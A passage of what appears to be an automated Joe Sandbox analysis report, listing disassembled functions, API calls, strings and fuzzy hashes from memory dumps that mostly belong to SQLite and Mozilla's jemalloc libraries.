Instruction Fuzzy Hash: EDE122B4A04346DFDB04DF68D680A5ABBF0BF89358F25C46DE898AB355D734D841CB82

Function 61E4C7C5 Relevance: 8.0, APIs: 4, Strings: 1, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcmp.MSVCRT ref: 61E4C91F
memcmp.MSVCRT ref: 61E4C973
memcmp.MSVCRT ref: 61E4C9F2
memcmp.MSVCRT ref: 61E4CC23

Strings

0, xrefs: 61E4CC0C

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: memcmp
String ID: 0
API String ID: 1475443563-4108050209
Opcode ID: 1692252d0ef6247254be60e0d8f90ef7cb599247ff8863cd9c7b3f4aded06073
Instruction ID: 3bb57cbd4086e38ca070a1eb41e2420ec87b0c0feb17810d174f813009c16240
Opcode Fuzzy Hash: 1692252d0ef6247254be60e0d8f90ef7cb599247ff8863cd9c7b3f4aded06073
Instruction Fuzzy Hash: 66127D70F05255CFEB05CFA8E484789BBF1AF48318F25C1A9D845AB356D774E88ACB80

Function 6D2AC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6D2AC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6D2AC969
GetSystemInfo.KERNEL32(?), ref: 6D2AC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6D2AC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6D2AC9E2

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: d2eaef048a711ebbc94664aba265a6f581bd58a70511679a2f376be4f2459e72
Instruction ID: 8a0d038ca569c92d48c9995aa977e3ee278126dc71859045dd185ce152188bb6
Opcode Fuzzy Hash: d2eaef048a711ebbc94664aba265a6f581bd58a70511679a2f376be4f2459e72
Instruction Fuzzy Hash: F321073668520FBBDB058A68DC85BBE73BDFB4AB00F54052AF956A7344DB209C0087A1

Function 61E541A0 Relevance: 6.8, APIs: 2, Strings: 2, Instructions: 772stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E541DC
strcmp.MSVCRT ref: 61E543C4

Part of subcall function 61E0AE03: free.MSVCRT ref: 61E0AE3D

Strings

rnal, xrefs: 61E547EC
@, xrefs: 61E54291

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: strcmp$free
String ID: @$rnal
API String ID: 3401341699-826727331
Opcode ID: a06f9e5cfc8ab2f10b68f9405f5fa03b68d79d18aaf07e794d8c9db0cd02de0f
Instruction ID: 0ce42be2a52064457b78e7c31244c3f07411abd0ae8e299ce13c5538bbb98839
Opcode Fuzzy Hash: a06f9e5cfc8ab2f10b68f9405f5fa03b68d79d18aaf07e794d8c9db0cd02de0f
Instruction Fuzzy Hash: 70822470A04259CFEB60CF68C880B89BBF1BF45308F2481EAD8589B352E775D9A5CF51

Function 61E3720A Relevance: 6.4, APIs: 3, Strings: 1, Instructions: 359
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcmp.MSVCRT ref: 61E373CE
memcmp.MSVCRT ref: 61E37560
memcmp.MSVCRT ref: 61E37690

Strings

0, xrefs: 61E3767C

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: memcmp
String ID: 0
API String ID: 1475443563-4108050209
Opcode ID: 9e2e599bb5cce63fe32fe7f9e08e295b7a4ccdfaa8ca869e8474522b2882bf1c
Instruction ID: 3f20ce3ba2961136da7f3248cde08971803f4c449cb9daae0617fd169a942f67
Opcode Fuzzy Hash: 9e2e599bb5cce63fe32fe7f9e08e295b7a4ccdfaa8ca869e8474522b2882bf1c
Instruction Fuzzy Hash: 6CE112B0E04269CBDB41CFA8C99078DBBF1BF89318F258569D859AB345D734E886CF41

Function 61E4928D Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 309
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 61E4947D

Strings

winOpen, xrefs: 61E49605
exclusive, xrefs: 61E493FC

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: CreateFile
String ID: exclusive$winOpen
API String ID: 823142352-1568912604
Opcode ID: 01019530b09c2f2dc19d5b6d0433bfa8033a639c81976d1931ed62cac87c2c49
Instruction ID: ddd978882cd5270fa8f94071a9300b4b805ea89cb158bd2aa8a7dfbc70792811
Opcode Fuzzy Hash: 01019530b09c2f2dc19d5b6d0433bfa8033a639c81976d1931ed62cac87c2c49
Instruction Fuzzy Hash: B4D1A2709047499FDB10DFA9D58478EBBF0AF88318F208929E868EB394E774D985CF41

Function 61E33F01 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 61E33FB1

Strings

winRead, xrefs: 61E33FF4

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: FileRead
String ID: winRead
API String ID: 2738559852-2759563040
Opcode ID: 851fea00ae6f1ba7616ac175e32ee1177d3feb74bace6ba213d978081e29e1e5
Instruction ID: 0463a8294cdaeeb391ba6f45b5ad466d8cdf6662135ec028d0205bc88dba3c8e
Opcode Fuzzy Hash: 851fea00ae6f1ba7616ac175e32ee1177d3feb74bace6ba213d978081e29e1e5
Instruction Fuzzy Hash: 2041E475A052699BCF04CFA8D88498EBBF2FF88314F618529E868A7354D730E941CB91

Function 61E3402F Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 61E3404C

Strings

winClose, xrefs: 61E34086

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: CloseHandle
String ID: winClose
API String ID: 2962429428-4219828513
Opcode ID: c60c52094e65ead93584bd01b08d1abc788ebbc504c85440e44ebfbab32f71d9
Instruction ID: 774f0b390e99eda96ce63d5266cab459109c075f265339c96ef3e2cb904a27c1
Opcode Fuzzy Hash: c60c52094e65ead93584bd01b08d1abc788ebbc504c85440e44ebfbab32f71d9
Instruction Fuzzy Hash: EBF09670B043259BE700AF75C5C4A5AFBA4EF89314F20C46DD8898B342D73AD944CB92

Function 61E0AE03 Relevance: 1.3, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 61E0AE3D

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 515cd9b0cc975ca03c008dfe43f6ff5eb83953987e78c9cd7cdb726aa12e4eb5
Instruction ID: a929929d55870eb2e3dfc3d9b08de53e37bb6c9da6c43a06ed963554b33c57a4
Opcode Fuzzy Hash: 515cd9b0cc975ca03c008dfe43f6ff5eb83953987e78c9cd7cdb726aa12e4eb5
Instruction Fuzzy Hash: A5F090B1554708CFDB006FA8E8C52153BA4F746219F5840BAE8150B201D735D5E1CB91

Function 61E2A6AF Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 61E2A6BF

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 1f2356de957b5852e51c4f16dd739168b253dd6d2aac726755fb4680bcc79cb1
Instruction ID: 08a60fc229ca929b4850671bf03eed3452f9cad2ea52f9bb94d0a5c68b8f0e05
Opcode Fuzzy Hash: 1f2356de957b5852e51c4f16dd739168b253dd6d2aac726755fb4680bcc79cb1
Instruction Fuzzy Hash: 68F039B0C4830A9FCB009FA5DAC5A0DBBE8EB84258F14C46DE8988F710D334E580CB51

Non-executed Functions

Function 6D2F55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6D2CE1A5), ref: 6D2F5606
LoadLibraryW.KERNEL32(gdi32,?,6D2CE1A5), ref: 6D2F560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6D2F5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6D2F563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6D2F566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6D2F567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6D2F5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6D2F56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6D2F56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6D2F56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6D2F56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6D2F5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6D2F572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6D2F5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6D2F5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6D2F577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6D2F5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6D2F57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6D2F57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6D2F57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6D2F57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6D2F57FF

Strings

LoadIconW, xrefs: 6D2F575B
GetDpiForWindow, xrefs: 6D2F5690
AreDpiAwarenessContextsEqual, xrefs: 6D2F5637
CreateSolidBrush, xrefs: 6D2F57E4
gdi32, xrefs: 6D2F560A
EnableNonClientDpiScaling, xrefs: 6D2F5666
user32, xrefs: 6D2F5601
GetMonitorInfoW, xrefs: 6D2F57A2
SetWindowPos, xrefs: 6D2F56F7
RegisterClassW, xrefs: 6D2F56AC
GetSystemMetricsForDpi, xrefs: 6D2F5677
StretchDIBits, xrefs: 6D2F57CC
GetThreadDpiAwarenessContext, xrefs: 6D2F562D
FillRect, xrefs: 6D2F5729
GetWindowDC, xrefs: 6D2F5710
SetWindowLongPtrW, xrefs: 6D2F57B7
DeleteObject, xrefs: 6D2F57F9
ReleaseDC, xrefs: 6D2F5742
CreateWindowExW, xrefs: 6D2F56C5
MonitorFromWindow, xrefs: 6D2F578D
LoadCursorW, xrefs: 6D2F5774
ShowWindow, xrefs: 6D2F56DE

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 5110ff2ad584f6ab05abe559d5b918f1ad8aaea5e8812f5e0c47e29dcad5f0f0
Instruction ID: bb43bd0ca5c5fabb6f24bf3dc9f165451771908d48a6cd0b247e0abfc997274c
Opcode Fuzzy Hash: 5110ff2ad584f6ab05abe559d5b918f1ad8aaea5e8812f5e0c47e29dcad5f0f0
Instruction Fuzzy Hash: 0251397158470BBBEB115F359D0AB3A7BBDBB07342B448829E931E6643EB74C8018F61

Function 6D2D0DD0 Relevance: 76.9, APIs: 32, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6D2D0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6D2D0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6D2D0FB7
EnterCriticalSection.KERNEL32(?), ref: 6D2D0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6D2D1031
LeaveCriticalSection.KERNEL32(?), ref: 6D2D10D0
EnterCriticalSection.KERNEL32(?), ref: 6D2D117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6D2D1C39
EnterCriticalSection.KERNEL32(6D31E744), ref: 6D2D3391
LeaveCriticalSection.KERNEL32(6D31E744), ref: 6D2D33CD
LeaveCriticalSection.KERNEL32(?), ref: 6D2D3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D2D3437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6D2D37D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6D2D37BD
Compile-time page size does not divide the runtime one., xrefs: 6D2D3946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6D2D3559, 6D2D382D, 6D2D3848
MALLOC_OPTIONS, xrefs: 6D2D35FE
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6D2D3793
<jemalloc>, xrefs: 6D2D3941, 6D2D39F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6D2D37A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6D2D3A02
MOZ_CRASH(), xrefs: 6D2D3950

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: fb4b94b98474d35261cc58e0789897324a1b246a0c48803b6984a59a7d9fe391
Instruction ID: e834bfcd315ef0f2d50b724cdaec85d40e5a14787a2fbd9a8c004fb6bb03fbbb
Opcode Fuzzy Hash: fb4b94b98474d35261cc58e0789897324a1b246a0c48803b6984a59a7d9fe391
Instruction Fuzzy Hash: 1F53ADB2A587068FD355CF28C940725FBE1BF89324F29C66DE8699B391D371E841CB81

Function 6D2BED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6D2BEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6D2BEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6D2C1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D2C16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6D2C1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6D2C1A3E

Strings

~q)m, xrefs: 6D2BED10
~q)m, xrefs: 6D2BED13

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q)m$~q)m
API String ID: 3693777188-3439993646
Opcode ID: 10422371b456f60a95b0477f32812d1cbd7df4f73583292cee21fed3bc9a8bd1
Instruction ID: 5e4e8d98044e3890b339a9aa4ce4b812d308bb3805760c1daa0e62a2c32b2d7a
Opcode Fuzzy Hash: 10422371b456f60a95b0477f32812d1cbd7df4f73583292cee21fed3bc9a8bd1
Instruction Fuzzy Hash: 2CB34A71E4021ECFCB65CFA8C890AADB7B2BF49304F1582A9D449AB345D731AD85CF91

Function 61E4304E Relevance: 31.5, APIs: 1, Strings: 19, Instructions: 1527COMMON

Download Yara Rule

Strings

H, xrefs: 61E43766
ambiguous column name, xrefs: 61E43DC3
non-deterministic functions, xrefs: 61E44232
old, xrefs: 61E4386A
false, xrefs: 61E43198
aggregate, xrefs: 61E4434A
true, xrefs: 61E43181
window, xrefs: 61E44351
parameters, xrefs: 61E4482B
Q{a, xrefs: 61E4465A
the "." operator, xrefs: 61E43209
subqueries, xrefs: 61E447D9
main, xrefs: 61E4331F
excluded, xrefs: 61E438A5
za, xrefs: 61E448C1
M, xrefs: 61E43A55
new, xrefs: 61E43838
no such column, xrefs: 61E43DC8
ROWID, xrefs: 61E43F8E

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID:
String ID: za$H$M$Q{a$ROWID$aggregate$ambiguous column name$excluded$false$main$new$no such column$non-deterministic functions$old$parameters$subqueries$the "." operator$true$window
API String ID: 0-995943838
Opcode ID: e289931867c22b3b2b5c15c539e3e1e0f969360927f4254d56908ed90e18b91f
Instruction ID: 1d323ea87534b4984c39532d96b7a68bc5a2d3eb5612128e3b04e89f7f046be3
Opcode Fuzzy Hash: e289931867c22b3b2b5c15c539e3e1e0f969360927f4254d56908ed90e18b91f
Instruction Fuzzy Hash: 9AF25A74A042658FEB20CF68D980B99BBF1BF49308F24C5DAD8999B391D770E985CF50

Function 6D2AFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6D31E7B8), ref: 6D2AFF81
LeaveCriticalSection.KERNEL32(6D31E7B8), ref: 6D2B022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6D2B0240
EnterCriticalSection.KERNEL32(6D31E768), ref: 6D2B025B
LeaveCriticalSection.KERNEL32(6D31E768), ref: 6D2B027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6D2B0D67, 6D2B0D7B, 6D2B0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6D2AFE99, 6D2AFEB7, 6D2AFED3, 6D2B0DB8, 6D2B0DD3, 6D2B19B4
<jemalloc>, xrefs: 6D2B0D62, 6D2B0D76, 6D2B0DA7

